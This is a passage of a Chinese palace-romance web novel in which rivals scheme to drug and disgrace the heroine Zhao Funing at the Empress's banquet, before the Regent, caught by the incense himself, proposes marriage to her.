这话说的,好像齐武帝不允,他就要孤独一生了。
齐武帝揉了揉胀得发疼的眉心,次子很少向自己恳求什么,他真的很想准了他,可……不行啊!
第94章 搞事开始
若允了,就要闹出事来了。
谁能知道,亲弟弟和亲儿子的眼光这么一致。
珩玉那边……肯定是不能将就的,珩玉那个脾气,昨日已经跟自己闹矛盾了还没消气,齐武帝不敢想象如果把赵福宁赐婚给老二,珩玉会怎么样。
算了,反正老二脾气好,老二忍忍吧。
想着,齐武帝看向次子,果决道:“那也不行,她已有良配了。”
谢燎伪装的极好的温顺沉稳的假面,差点维持不住,“良配?”
齐武帝:“老二啊,你就是一厢情愿,好了,朕困了,你退下吧。”不忍心直视次子受挫的表情了。
李大监也上前来提醒,“殿下,陛下要休息了。”
谢燎哪肯走,心中有了猜测,“难道是皇兄吗?”
“这又关你皇兄什么事?”齐武帝吓一跳,差点以为叔侄三人都喜欢同一个姑娘了,但转念一想皇后也有撮合赵氏和珩玉的意思,显然烛儿不会喜欢赵氏,“不是你皇兄。”
谢燎稍微放了点心,至少不是谢烛。
就谢烛那性子,哪家姑娘嫁给他,这辈子基本就毁了。
谢燎的语气不再像刚才那般急切,冷静许多,“不是皇兄的话,那就是别人……父皇宁愿成全别人,也不愿成全儿臣?”
光听这话,感觉他很可怜,但齐武帝见他脸上并未有明显伤心之色,一时分辨不出来了。
“父皇,那人是谁?”
“你别问。”
谢燎见他不肯说,心里疑云陡生,“他……靠谱吗?”
齐武帝沉沉“嗯”了一声。
“是青年才俊吗?”
“……嗯。”
“好看吗?”
听着谢燎问题频出,齐武帝都有些愁了,“好看的,老二啊,这世上好姑娘很多,别在一棵树上吊死。”
谢燎垂下眸,睫毛的阴影盖住了眼中情绪,平淡的语气好似掩藏着无尽的忧虑——
“这便好,她能觅得俊俏上进的良配,儿臣便安心了。”
堂堂皇子,竟然这么卑微。
他放弃了,难受的反而是齐武帝,“老二你——”
谢燎起身,恭恭敬敬地行礼,“父皇多注意龙体,儿臣先行告退。”
走两步又停下来,回过身请示,“儿臣听闻赵小姐正在母后的宴上,儿臣可否,远远地去瞧一眼?”
齐武帝心里苦涩,“你这又是何苦。”
谢燎抿了抿唇,在齐武帝看来更像是强颜欢笑。
他缓缓道:“远远的,就一眼。”
齐武帝拒绝了赐婚,终是不忍拒绝这个小小的请求,“去吧。”
“多谢父皇恩准。”
就这样,谢燎有了准许,出入后宫的清凉殿。
转身的刹那间,他面容覆上冷漠与疏离,没有半分对父亲的崇敬依赖。
谢燎走后,李大监走至龙榻前,提醒道:“陛下,您让二殿下去了,可……王爷也去了,碰上怎么办呢?”
齐武帝思忖道:“没事,他们互不知道互为情敌,就让老二去看一眼吧,下一次再见,说不准就是他皇婶了。”
想想也是残酷。
*
后宫,清凉殿。
刚才的半个时辰,发生了些不愉快的事。
皇后娘娘夸赞完了赵福宁后,没多久,一个小宫女在上糕点时,不慎打翻了茶水,恰好倒在福宁的衣裙上。
福宁心中不安,朝对面**姐妹望了眼,她们虽没往她看,但她还是想防着些。
故而,在宫女致歉、提议带她去更衣时,她拒绝了。
豫北侯千金见状,发出一声嘲弄的声音,没有言语。
江雪娥垂着眸,好似才发现赵福宁的衣裳弄脏了,“赵妹妹还是去换一身吧,黏在身上你难受不说,在皇后娘娘面前还是端庄整洁些的好。”
上首的王皇后平静地喝了一口茶,瞟了眼江雪娥,心里了然,“带赵小姐去更衣。”
打翻茶水的宫女应下,“是。”
福宁没法拒绝,只能起身跟着宫女去了。
一路,她认着皇宫的建筑,神情警惕地走着每一步。
原本坐在福宁身边的尚书千金扭头
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,朝着她们去的方向看了很久,回过头后,又听江雪娥借口如厕,往另一个方向去了。
尚书千金皱皱眉,与对面表现古怪的江月娇对上了视线。
后者心中的疑惑不比尚书千金少。
尚书千金话虽少,但观察力强,江月娇观察力虽然不强,可毕竟方才亲眼见了长姐掉落的香。
而且,平日要在众人面前保持完美温柔形象的长姐,主动要求赵福宁去更衣,这本身就很有问题。
江月娇怀疑,长姐要对赵福宁做什么……长姐大概也是怕赵福宁威胁到她摄政王妃的地位。
江月娇很想跟去看看。
但是王皇后还在场,这底下从不能一个二个都借口更衣离开,便只能耗着。
好在没多久,王皇后茶水喝多了,主动提出让大家各自休息一会儿,需要更衣的让宫人带领着去。
王皇后一离开,清静的清凉殿便多了几道交谈聊天的声音。
江月娇看了眼嫡母正在与别家夫人交谈,转而看向自家长姐离开的方向,迫不及待地跟了去,没注意到尚书千金也一直看着她的动作。
她走后不久,容婉因担忧女儿落单,主动寻了宫人说要去找一找女儿。
尚书千金与尚书夫人互视一眼,尚书夫人对容婉道:“赵夫人,一起去吧。”
容婉心想,这宫闱内,确实是尚书夫人更了解一些,于是点点头。
那头,江月娇还没寻着江雪娥。
幕后谋划者江雪娥已经绕了一圈找到了赵福宁。
在宴上打翻茶盏的小宫女,正是**雪娥收买的那位。
此时小宫女正守在一处偏僻宫殿外,见江雪娥来了,忙走过去压低声汇报,“江小姐,赵小姐正在里头更衣,不过……您是要做什么呀?”
她还是有些害怕的。
江雪娥摇头,“没事,接下来你不用管了,走远些帮我盯着。”
小宫女照做,站远了些。
江雪娥取出香,既然打定主意要给摄政王用迷香,那么给赵福宁的,自然只有催情香了。
第95章 摄政王果真如传言,喜欢未婚妻
先用火折子点燃,再从窗户纸里捅进去。
房中。
赵福宁没有换衣裳,她很怕脱了衣服后,突然一个男子闯进来,再来一群捉奸的女眷……所以,她只是将弄脏了的腰带换了一根。
穿在身上的衣裙是淡绿色的,但宫女准备的新衣裙是红色,腰带也是红色。
福宁看着铜镜里,自己一身绿衣,配了一个赤红腰带。
真是好靓丽啊!
她心里不安,此地不宜久留。
迈步至门边,想开门出去,隐隐听到门外有交谈声,又听不真切。
福宁推门的手放下,决定等一等。
门外刻意放轻的靠近的脚步声,让她警惕,紧接着,就瞧见从窗户纸里捅进来的一支香。
香的头已经点着,还能看见丝丝白烟袅袅升起,带着很好察觉的香气。
……
想想也知道不是什么好香。
是有人想害她!
福宁抬袖捂住口鼻,伸手轻轻一捻,便掐断了香的顶端,被点燃的部分掉落在地,绣鞋一碾,香味缓缓散去。
这东西见效还挺快的,福宁不过是起初吸入了一丁点儿,这会儿便觉得有些犯困。
这香是迷香。
她瞪大眼睛提神,门外的人还没走,她转而看向房中另一面墙上的窗子,准备从窗户跑走,不与外面的人硬碰硬。
门外。
点完香后还没离开的江雪娥,紧张又纠结地盯着香的另一头。
江雪娥是第一次做这样的事,做之前,她明明已经下定决心。
可当真的做了之后,每一个瞬间,内心都备受煎熬。
给赵福宁用催情香,赵福宁这一生,都将被完全毁掉,再也掀不起任何风浪,不止是不会对摄政王妃的位置造成威胁,但凡是要脸面的人家,都不可能要赵福宁。
哪怕江雪娥不引宫廷侍卫进去,单单赵福宁一个人中了香、在皇后与众人面前失仪,赵家都将沦为京中笑柄。
这对一个女人来说代表着什么,江雪娥太清楚了,比直接**更叫人痛苦。
江雪娥闭了闭眼,思索再三,还是决定将香取出来。
她伸手捏住香的底部,试图将香取出来。
可抽出时,却只抽出了一半。
还有一半呢?
是掉在里面了,还是都燃尽了?
江雪娥不确定,她眼中复杂,香掉在里面还继续燃着的花……赵福宁今日便逃不过这一劫。
忽听不远处有声响传来,心虚之下,她慌乱地带着小宫女往另一条道跑了。
刚才做的事,已经是覆水难收。
是老天爷对赵福宁不心软,这便不能怪她了,一切就看赵福宁自己的造化了。
另一面,福宁已经从窗子里爬出来,走在草垛里发出簌簌的声音。
从墙边探头,看殿前落荒而跑的背影。
是江雪娥。
福宁嘴角一撇,这两姐妹真不愧是亲姐妹,手段和心性都一样。
正欲转身回清凉殿,身后忽地伸出一只手,用一方巾帕捂住福宁的口鼻。
福宁的双脚在草垛里拼命往后踢。
但是巾帕上带着怪味,她呼吸不得,满脸涨红,一会儿便失了力气,昏死过去。
后面的人一个闪躲,福宁身后没有支撑,便直直地倒在草丛里。
“呼~”江月娇左右环顾,见四周无人,累的松了口气。
刚才跟来,看了这么一出大戏。
一惯会装温柔大度的长姐,竟然也有这样阴狠的一面呢。
江月娇不确定那支香的作用是什么,但能叫长姐犹豫不决、最终还是害怕地退缩了,那香必定不是普普通通迷晕人的作用,这……到让她有些跃跃欲试了。
好东西怎么能浪费,今日时机甚妙,还是得给赵福宁用上才行。
江月娇低头,看着昏迷的赵福宁,弯腰拉住她两只手,拖拽着将赵福宁拖回房中的床榻上。
这还不罢休,轻松地解开那条刺眼的红腰带,藏到枕头底下。
江月娇再转身走到门边,捡起地上半根断掉的香,房中本来就有点灯用的火折子,倒是方便了她。
她将香点燃,还刻意放在床榻边,好让赵福宁闻个彻底,自己则不敢久留,也怕中招,匆匆退了出去,关上门时,面上扬起得逞的笑。
若是成了,她便能失去一个巨大的威胁。
若是失败了,那也是长姐所为,
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与她江月娇可没有关系。
不过这还不够,真正想要赵福宁身败名裂,还是得想法子寻个男人来。
可这是后宫,哪来的男人。
找侍卫都有些难度,不知道找太监行不行。
想着,江月娇快速离开此地,想法子去寻人了。
那厢,半刻钟前。
谢珩玉气势汹汹地去了清凉殿,彼时殿中只剩下侯府和国公府的女眷,其他人都很统一地去“更衣”了。
两家人没料到摄政王突然来到,纷纷起身行礼。
谢珩玉转悠一圈没见着赵福宁,也没见到赵福宁的娘。
倒是王皇后身边的女官来问,“王爷怎么来了,娘娘与女眷在此,王爷恐怕不方便——”
“她们人呢?”谢珩玉不耐烦打断。
“谁们?”女官疑惑道,“王爷是想见娘娘,还是江小姐?”
谢珩玉皱了皱眉,视线扫过殿中在座的豫北侯千金和国公府千金,收回视线,“除了那两个,其他的人呢?”
豫北侯千金一听,心想摄政王果然如传言那般,重视江小姐,江小姐不过是参加一下皇后的宴会,摄政王都放心不下,还要来看望……真叫人羡慕呐!
想着,她主动答道,“她们去更衣了,在那边——”还指了指大致方向。
具体在哪个宫殿更衣,就不清楚了。
谢珩玉眉头蹙得更紧了,询问女官,“江家赵家安排在一起了?”
江家那两个女儿,一肚子坏心眼,也不知道会不会害人。
女官还未答,谢珩玉便命令道:“带本王去。”
女官犹豫,“王爷,那是女眷们的——”
“去。”他不容置喙道。
瞅着他冰冷凉薄的眼神,女官不敢有违,“是。”遂带着他前往王皇后安排给女眷们更衣的几座偏殿方向。
清凉殿后方的阁楼之上,王皇后站在窗前,向下俯瞰,几座偏殿练成一条线,都在她的视野之中。
但凡不是被屋顶盖住的地方,她都能瞧见,包括方才赵福宁被拖拽、**姐妹接连害人的举动,还有现在,谢珩玉……
突然,谢珩玉停步,倏地仰头,冰冷的视线朝阁楼上探去。
第96章 摄政王中药(预警)
王皇后往旁边一避,吓了一跳,躲在窗边摸了摸胸口,反应过来,也不知道自己为何要躲。
谢珩玉那个歹毒的东西,眼神还怪吓人的,就该一辈子活在阴沟里。
她咒骂一声,没再往前站。
“娘娘,”心腹附到耳边,“江二小姐去寻太监了。”
王皇后嘴角抽搐了一下,江二的恶毒超过她的想象了,她忽然庆幸没有打算重用江家,无情无义还恶毒愚蠢至极,重用这类人,容易反噬自身。
“蠢东西。”王皇后由衷感慨。
心腹:“娘娘,是要阻止,还是顺手推舟?”
王皇后:“就让她先得逞吧。”
心腹诧异,“娘娘不是打算帮助赵家吗?赵小姐若被算计……”
王皇后狡黠一笑,“危急时刻,本宫亲自救了她,赵家纯朴,还怕赵家不对本宫与烛儿忠心?若此番赐婚成功,赵氏嫁给摄政王,会对本宫有大用处。”
心腹恍然大悟,“原来如此,娘娘算无遗策,奴婢这就去办。”
直到心腹退下,王皇后也没再探出头往下看。
谢珩玉早就走了,抱着他手里那只昏昏欲睡的猫。
走到半路,碰见了江雪娥。
江雪娥眼睛一亮,当即行礼,“臣女参见摄政王。”
谢珩玉本来就没什么礼貌,对她更没有,见到她就要绕过去,对她的声音充耳不闻。
却听她忽问,“殿下是要寻福宁妹妹吗?”
谢珩玉驻足,扭头,狐疑的目光落在她身上。
江雪娥心中悲凉,脸上却是笑着,“她,在那间殿中,可要臣女带您过去?”
江雪娥的做派,引得谢珩玉怀疑,“你那么好心?”
“臣女早就说过,”江雪娥规规矩矩地站着,没有主动贴近,善解人意道,“王爷若有心仪之人,臣女可以为王爷打掩护,那,臣女带王爷过去?”
谢珩玉不想跟她掰扯,“不必。”
语毕,不再多话,冷着脸与江雪娥错开,朝着她指向的偏殿走去。
江雪娥停留原地,没有跟上。
她不着急,方才从另一头过来,已经遣了小宫女去点香了,这会儿,殿中的香估计都染了小半段了。
只要摄政王进去寻一寻赵福宁,就算他力大如牛,也定会昏迷过去。
她只需要等他昏迷之后,再去即可。
还能避免冲突。
谢珩玉走到偏殿外,迟疑着,或许是自己多想了。
但为让自己心安些,他上前敲了敲门,欲开口唤人,名字都到了嗓子眼,还是咽了回去。
给了跟在身后的女官一个眼神。
威压的眼神,女官非但没看懂,还有些害怕。
谢珩玉只好明示,“喊她。”
女官沉默须臾,没有问出“喊谁”这个蠢问题,自己消化了一下,上前唤道,“赵小姐,您更衣好了吗?”
里面没声。
谢珩玉看了眼女官,女官这次懂了,再出声,“赵小姐,您在里面吗?”
还是没声。
谢珩玉预感不好,想推门进去,女官见状赶紧拦住,“王爷!姑娘家更衣时害羞不敢出声也正常,您不能进去啊!”
也对。
谢珩玉收手,命令,“你去看看。”
“是。”女官得了命令,要推门进殿。
一推,竟推不开。
女官为难道:“好像从里面锁住了。”
若说方才只是预感不好,现在,谢珩玉可以确定不对劲了。
“让开。”
他严肃道。
而后,右手抽出腰间配着的长剑,簌地一声,冷兵器摩擦出鞘。
女官连连后退,退到很远。
谢珩玉将剑插入门缝中,两下撬开门后的锁。
“嘭。”锁落地。
他面色沉沉,踹门快步而入。
屋内点着不知名的劣质香,香得让人头脑发昏,在里面转了一圈,也没见到赵福宁。
不知是太急,还是天气太热,他体内升起一股躁意。
谢珩玉连柜子都打开找了一遍,就怕万一她被人杀了藏了尸,他没寻到。
“人呢!”
他语气极差,意识到身体变得不对劲,是中了什么药了!
看来,赵福宁不在这里,他自己还被姓江的骗了,那个女人找死吗?
殿中没人应。
左手怀里兜着的小猫缓缓苏醒,“喵~”
她应了。
谢珩玉低头,与抬着头,用一双水润的眸子看着他的“赵福宁”对视。
四目相对,他很想问“你在哪”。
很快,谢珩玉的面容愈发凝重起来。
因为他意识到,这个时间,赵福宁能变成猫,就说明她出事了。
他更
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顾不上暴露“自己得知她秘密”的秘密,正欲直接开口问,“你——”
忽然,门“吱嘎”一声响,关上了。
一来二去,反倒耽搁了出去的功夫,谢珩玉自知“**”更深了。
起初有怀疑是江雪娥与王皇后联手要害他,直到看见步入殿中的江雪娥时,才往“催情”上想。
江雪娥关上门,准备脱衣与谢珩玉共寝,却没料谢珩玉没中药——不,不是没中药。
是中错了!
屋内弥漫着越来越浓烈想香气,她的身体也渐渐开始不对劲。
她搞错香了?!
所以用在赵福宁身上的那根,才是迷香!
眼下看着没有昏迷、举着剑的谢珩玉,江雪娥愣住,不知所措,“你……”
“这就是你的计划?”谢珩玉冷笑一声,极尽嘲讽,“伯府千金,就这么**?”
这话,如耳光般,扇在江雪娥的脸上,令她**。
因为她自己也知道,这么做很掉价很不要脸,可是她没得选了。
谢珩玉见她垂眸不语,不想与她多费口舌,只想快些出去,里头太难熬了。
江雪娥反应过来,当即用身体挡住门。
弄错香,也没办法了,只好将错就错。
触怒摄政王便触怒吧,反正就算让他出去,她也没有活路了。
不如**。
若摄政王要硬闯出去,她自然拦不住,但能拖一刻是一刻,催情香的作用会越来越明显,能他熬不住了,一切便水到渠成。
哪怕他真的意志坚定……江雪娥进入偏殿前,已经让小宫女去给母亲传话,让母亲带上国公府、侯府的女眷过来。
她赌上自己的名声,自己的性命,她不能退缩。
福宁好热。
热得都想剪掉****,热得她屁股也不舒服。
她慢一拍地反应过来,谢珩玉说江雪娥**是什么意思了!
天呐!
那种药,对猫也会有反应的吗?
还是因为她的芯子是个人,所以才有感觉?
她的躁动表现为,不停地在某人的手臂上踱步摩擦,偶尔发出几声撒娇般的叫喊。
“滚!”谢珩玉低哑的声音吼道。
江雪娥当然不听,双眸柔和地看着他,抬手欲为自己宽衣解带。
下一瞬,一把刀便横在了脖颈前。
第97章 二殿下救美,喊她囡囡(惊)
谢珩玉喉结微动,眼中迸发出阴鸷的光,如地狱而来的阎罗,握着剑柄的手指稍稍一动,江雪娥雪白的脖子便出现一道血痕。
可她就跟不怕疼似的,将外衣脱落在地。
和谢珩玉的移开眼不一样,福宁睁着眼睛看着她。
但是很快,她又觉得脑袋昏昏胀胀的。
……
今日王皇后以为自己运筹帷幄,殊不知从她为避开谢珩玉的目光,而不再俯瞰局面时,她的棋盘中就出现了变数。
后谢珩玉一步到来谢燎,拿着齐武帝给的令牌,在后宫畅通自如。
谢燎没有去清凉殿,先碰上了赵夫人容婉,和尚书夫人及千金。
见到二皇子,她们也很惊讶,行礼过后,容婉还是急着要寻女儿。
谢燎看她面色焦急,便问,“是出了什么事?”
户部尚书千金淡淡道:“回二殿下,没有出事,我们在等赵小姐。”
三人寻了一圈没寻到赵福宁,如果真的在后宫出了什么事,自然是压着越少人知道越好。
尚书千金这般说,也是为了维护赵福宁的体面。
然而容婉顾不得这些,女儿的安危是排在名声前面的,念着二皇子与长子的那丁点情谊,恳请道:“殿下,臣妇的女儿跟着宫人去更衣,至今未归,臣妇放心不下,出来寻找,却找不到。”
她的语速很急,声音打抖,可见心中害怕,尽量冷静地将话说完。
谢燎听闻,只是眉头动了动,让人看不出什么情绪来,“赵夫人别担心,本殿下派人去一起寻一寻。”
尚书千金与尚书夫人对视一眼,提议道:“人毕竟是从清凉殿走的,不如还是求助皇后吧。”
否则,不是找麻烦吗。
谢燎言简意赅,“不必。”后带着宫人匆匆走了。
容婉三人没有回去,继续沿着几个宫殿寻找。
谢燎阁楼之下的背面,一穿着八品太监服制的年轻太监迎面走来,瞎了眼似的撞上他。
八品太监:“殿下恕罪!殿下恕罪!”
“没事。”他继续朝前走,到了没人处,打开手中藏着的小纸条。
【摄政王在景悦殿**大小姐下了催情香。】
【赵小姐在云露殿**二小姐捂晕了,正欲图谋不轨。】
看见内容,他冷笑一声,看了眼眼前的大门未开的景悦殿。
谢燎哪有功夫管皇叔遭遇什么,催情不催情的。
他转身就往反方向的云露殿跑去。
躲在暗处的江月娇先看见太监进了殿中,后听得远处响起多道跑步声,越来越近,以为是“捉奸”的人来了!
大喜!
她转身想跑,却被飞在谢燎前面的暗卫抓住。
当场拿下,动弹不得。
“放开我,放开我!”江月娇的双手被擒住,越挣扎越疼,“哪里来的贼人,凭什么抓我,我可是朝廷命官的女儿!”
里面的太监还没怎么样,就听到江小姐被抓住了,想到皇后娘娘手下心腹的交代,要等着皇后娘娘来救美的,便以为外面来的是皇后娘娘的人。
于是,太监便在屋里乖乖坐着等抓了。
他看着床榻上昏迷不醒的少女,心里感慨江二小姐的确恶毒啊!
下一瞬,殿门被重重推开。
还不等看清来人是谁呢,太监便跪在地上磕头,“奴才什么都没干啊!奴才还没靠近赵小姐!是江小姐骗奴才说这里要打扫!将奴才骗来的!”
谢燎看了眼榻上的人,居高临下地看着磕头的太监,“滚出去。”
“是是是!”太监麻利地起身,才发现来的不是皇后,“二殿下?!”
随即,便被谢燎的人抓出去了。
殿中,除了谢燎便再无其他醒着的人,他焦灼地快步走到床榻边。
见着少女沉静地睡着,他不经思考地伸手拍拍她的脸,拍不醒,于是将人从榻上扶起。
福宁昏迷着,手被拉起来,脑袋还向后仰着。
被谢燎扶起后,整个人
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又往后仰倒。
谢燎快一步坐到榻边,“砰”的一下,她的后脑勺砸在他的肩胛骨处。
从别的角度看,她就像躺在他怀里,被他揽着。
事实也的确如此。
但室内没有一丝旖旎,谢燎表情不多的脸上,有了担忧之色,他低头看着她的脸,因心急喊出那个熟悉的称呼——
“囡囡。”
“……”沉默,是他自己的。
谢燎自觉口快了,垂下眼,不再喊下意识、理所当然会喊出的称谓。
他的目光落在她失去的腰带上,偏头又看见榻边燃完的香灰,眸中划过戾色,透着沉重的杀气。
好在已经没了危险,既然人叫不醒,他干脆将人重新放在床榻上,等着她醒来。
另一边,让手下人去给赵夫人传话,就说赵小姐没事,人找到了。
下属刚走,房中的福宁唰地睁开了眼睛。
她回来了!
福宁坐起身,对上谢燎那双看似平淡无波,却又仿佛闪过什么情绪的眼眸。
“二殿下?”
谢燎坐在桌前,冷淡道:“醒了就快些回去,下次别乱跑,让你父母担心,出了家门坏人多,再遭人算计,不是每次都能有人救你。”
劈头盖脸就是一顿说教。
福宁差点怀疑,自己在什么时候跟二殿下很熟了?不过,显然是二殿下救了自己。
“多谢殿下相救!”
看来,二殿下也并非全无可取之处,上次跟哥哥告状,告早了!
她有些懊悔。
不过——
谢珩玉现在跑出来了吗?
方才眼前一黑,又什么都不知道了。
理智告诉福宁,她肯定是不用担心谢珩玉的,但,她还是控制不住自己。
起身下床,才发现腰带没了,“嗯?!”
她抬头,对上谢燎深沉的眸光,突然不敢说自己腰带不见了。
谢燎起身,去衣柜里寻了一套粉色的衣裙,放在桌上。
“换上。”
第98章 三个人串一串
留下这两个字,便出去了。
他在殿外没走,几乎是他出殿门的下一瞬,少女就跑了出来。
没换衣裙,系了一条粉腰带就跑了。
……
“赵小姐!”谢燎蹙眉,想了想,还是跟了上去。
与此同时。
穿着八品服制的年轻太监登上阁楼。
王皇后看着时辰差不多了,从贵妃榻上起身,“去看看赵氏。”
年轻太监自登上阁楼,便换上焦急之态,“娘娘!不好了!二殿下把赵小姐救了,还抓了江二小姐。”
“什么,”王皇后指尖微抬,“他来作甚?”
一个几乎不踏足后宫的皇子,偏偏在这时候出现了。
谢珩玉、谢燎,一个两个的,都当后宫是来去自如的地方不成。
还扰乱了她的计划。
“老二与赵氏,现在在何处?”王皇后冷静下来,边往阁楼下走,边问。
年轻太监跟在后面,“江夫人煽动了女眷,众人往摄政王所在的景悦殿去了,赵小姐也朝那边去了,还有二殿下。”
乱。
乱成一锅粥了!
王皇后原本还指望自己救了赵氏,让赵氏对自己忠心,现在倒好,人叫谢燎所救,也不知一男一女会不会生出情愫来,何况谢燎不是多管闲事的人,难道她们之间真有什么?
若是如此,谢珩玉和赵福宁的事,还能不能成了?
王皇后脑袋混乱,心中焦躁,快步下了阁楼,正巧碰上要往景悦殿赶的女眷们。
“皇后娘娘。”女眷们行礼。
王皇后观其神色,确认她们并不知情,除了……江夫人面有慌乱与紧张之色,显然是很着急将人引过去。
江夫人害怕王皇后的出现,会打乱自己的节奏,“皇后娘娘,臣妇听宫人说景悦殿后头有一片花海,索性在殿内无事,于是自作主张想与大家一起去观赏。”
景悦殿本就是提供给大家休息的偏殿之一,是女眷们被允许的可活动范围,何况王皇后离席太久,女眷们去花海赏赏花也不算乱跑,无可指摘。
王皇后并不打算阻止,“是本宫更衣太久怠慢了诸位,本宫随你们一起去。”
于是,去景悦殿参观的队伍又壮大了。
在女眷们磨蹭讲话的空档,福宁已经快了好几步,跑到了景悦殿。
门外还守着小宫女。
小宫女神色紧张,福宁认出了她,正是前头把茶水倒翻的人!
她也认出了福宁,“赵,赵小姐?”
脑子还想着要不要拦,手脚已经快一步上前挡住,“您不能进去!”
福宁:“你快让开,如果摄政王有个三长两短,你得玩完!”
小宫女一条路走到黑,俯身抱住福宁的腰,“摄政王与江小姐是未婚夫妻,见一面叙叙旧罢了,您进去打扰才是玩完了!”
福宁使出吃奶的劲,不及跟上来的谢燎下一道命令有用。
“起开。”他道。
小宫女顿时没了抵抗的勇气,颤颤巍巍地让开了路,在两人往景悦殿去时,找机会自己跑了。
福宁伸手,刚要推门。
殿门从里面被打开,她伸进去的手没碰到门,因为见着门内的两人,当下不知该做出什么反应,手也僵持在空中。
衣衫不整的江雪娥脖
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颈泛着疼痛,面对着染了血扬起的剑刃,下一瞬就会落下,她内心的侥幸心理还是输给了恐惧,转身开了门便想跑。
却对上外面二皇子和赵福宁两张脸。
目光偏移,还有二皇子带来的下属,以及不远处往这头赶,已经露出几点鲜艳的衣裳颜色的女眷们。
江雪娥迟疑了。
里面,谢珩玉厌恶地看着她的背影,亦看见了门外的侄子和赵福宁,他扬起的剑快速落下。
只听清脆的叮一声,削去江雪娥发髻上的珠钗。
青丝垂落,珠钗落地,随之掉落的,还有几丝黑发。
“啊!”江雪娥呼喊一声。
摄月剑没有再举起,谢珩玉抬脚,将人直接踹了出去。
江雪娥后背吃痛,因重力朝前倾倒。
而她的面前,正是赵福宁。
一切发生就在一瞬间,速度太快,福宁来不及躲避,眼睁睁看着江雪娥倒进自己怀里。
显然是谢珩玉的那脚踢得太重,福宁连带着向后倒去。
福宁的身后,是谢燎。
后者眼疾手快地伸手,欲拦住身前的人儿。
谢珩玉阴郁地看着这场闹剧,视线在福宁即将落入谢燎怀中的刹那间,变得危险。
少女方才为推门而僵持在空中的手微微张开,和她的身体一样,离他远去。
……
身后是台阶,**雪娥这一撞,福宁的心跳差点停了。
抬着的手极力想抓住些什么,张开又握紧,可手心里只有空气。
当后背靠上谢燎,她终于有了些安全感。
正暗松一口气,举着的手突然被人握住。
第99章 香没用,她才是他的**
那口气又提了上来。
中间隔着一个江雪娥,福宁看见了谢珩玉晦暗的眸,她迷茫怔愣着。
随即,感受到手上的力道加重。
他一使力,将她在左侧拽出,再一把拉进殿中。
速度还是很快,快到,门关上时,江雪娥还没反应过来发生了什么,只知道眼前的赵福宁不见了。
赵福宁不见了,靠着赵福宁的她,朝前倾倒,倒在了谢燎的怀里。
谢燎眉目不悦,将人甩了出去,他管不了姓江的如何,阴沉的面下,是紧张,他抬手敲殿门,“皇叔!放赵小姐出来!皇叔!”
江雪娥无力地倒在地上,将自己的外衣拢好,却发现腰带找不着了。
脱在殿内了!
不好!
她脸色苍白,拢着衣裳起身,跟着敲殿门。
殿内。
福宁被抵在殿门上,能感受到门的震动,但她现在顾不上外面的人。
只因摄政王离她太近了些。
谢珩玉呼吸比方才急了两分,眼睛直直地盯着她,“赵小姐去哪儿了,怎么跟他在一起。”
福宁不知道他为什么要这么问,“王爷,你知道你自己中药了吗?”
闻言,谢珩玉又凑近一寸,他当然知道自己中了那香。
他尚能缓解,只是闻到了她身上的淡香,他莫名地想凑近闻清楚一些,看来还是受到了催情香的驱使。
他也不强行让自己冷静,没理智地凑过去。
当她的香入了鼻,他的喉结动了动,在她看不见的角度,他的眸光愈发幽暗,“你明知我中了药,还是来了。”
福宁感觉耳朵痒痒的,他说话时的热气,弄得她的头发丝都带着几分灼热。
后听他压低声音道:“我们做笔交易,如何。”
交易?
这个时候?他中了催情香,跟她谈交易?
那能是什么好交易啊!
福宁当即就要推开他,义正辞严,“不成!不行!”
“我还没说什么交易。”他幽幽道。
福宁仰头与他对上目光,两只眼睛都仿佛生气,“又不是我一个人来的,王爷可以跟二殿下做交易。”
谢珩玉不知她在气什么,抬手捏住她的下巴,“如今是一点都不怕本王了。”
当猫久了,都不清楚自己的地位了。
遭他这一提醒,福宁惊觉,她与他说话的态度又不自觉地熟稔,且带了底气。
她唰地低头,声音放轻了些,但仍无畏惧,“我的意思是,我没办法帮王爷解药。”
“呵,”谢珩玉得知她脑子里想的事,说不上来是无奈多些,还是无语多些,他忍不住轻笑一声,“你倒是想得与**一样美。”
……!
这可不是好话。
福宁低垂着的
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头,猛地抬起,眸中透着愠怒瞪向他,声音委屈又倔强,“明明是王爷将我拉进来的。”
少女不服气的模样,映在谢珩玉的眼中,硬生生叫他看出娇嗔来,连带着这份娇嗔,悄悄镌刻进他心里。
听了她的话,他也有片刻的失神,方才他为何要拉她进来?
是一瞬间的冲动。
不想她因不安伸出的手只能抓住空气。
不想她的后背靠上别人。
还有……还有什么,谢珩玉的心忽然乱了,看着她的眼神也变得复杂。
呼吸愈发沉重,明明在面对江雪娥的时候,他完全能克制住,甚至能将体内的躁动,转化为暴躁的想**的冲动。
可当下,面前换了一个人,根本就没有想**的念头了。
究竟是催情香作祟,还是她身上的香气作怪,谢珩玉觉得有些难捱。
若是催情香的缘故,他明明可以走出景悦殿,或许能好受些。
但他又莫名地不想出去。
殿内很安静,前提是忽略掉门外一直不停歇的敲门身。
“皇叔,皇叔开门!”
聒噪**。
此时,面前的少女仰着头对着他,主动询问,“那王爷说的交易,是什么?”
谢珩玉的心又重新静了下来,捏着她下巴的手,也放了下去,“本王要成家娶妻,你来做本王的妻子。”
第100章 你来做本王的妻子吧
福宁惊讶得眼睛又睁大几分。
甚至怀疑自己听错了。
做摄政王的妻子?简直比当场给摄政王解药还令人震惊。
她问,“为什么是我?”
谢珩玉看着她那张看不出世故的脸,答案很显然。
越是相处,他越发现她没有坏心眼,只是爱财罢了。
有点世俗的爱好,不算什么坏事,至少她从没有害人,他也有很多黄金可以供她挥霍。
知道他**雪娥算计,她还知道跑来寻他,也不怕自己的秘密曝光。
谢珩玉觉得,若非要有一个妻子,赵福宁是个很好的选择。
至少,府里养一个她,他不会感到碍眼。
反而,天天看她变来变去、忙这忙那……还挺有意思的。
虽然,她那个爹有些拎不清,但往后不做官就可以了,谢珩玉也不需要妻族有势力。
但这些,谢珩玉不说,他只是冷冰冰地将怀中的小猫递到她怀里,“别人不会真心照顾它。”
……
福宁还未同意呢,双手已经抱上猫了。
她还是没懂,自家情况不容乐观,爹爹的官职还是摄政王亲自下令革职的,现在他要娶她,只因为她能照顾小猫?
不是,这说得就像给孩子找继母似的。
冰冷,无情。
她不是很乐意,“不用交易,我也可以照顾它的。”
谢珩玉听出了她的不情愿,蹙了蹙眉,“作为交换,本王可以替你实现一个愿望。”
愿望。
福宁第一个想到的,就是——
“我爹能官复原职吗?”
谢珩玉神色黯了黯,“你可以想些别的。”
哼,福宁撇撇嘴,还没说什么,他的手指就抵上她的唇瓣。
“嘘。”他在她耳边说。
呼吸明明没有喷在她耳朵上,却令她耳骨痒痒的。
紧接着,便听外面传来一众女眷的脚步声。
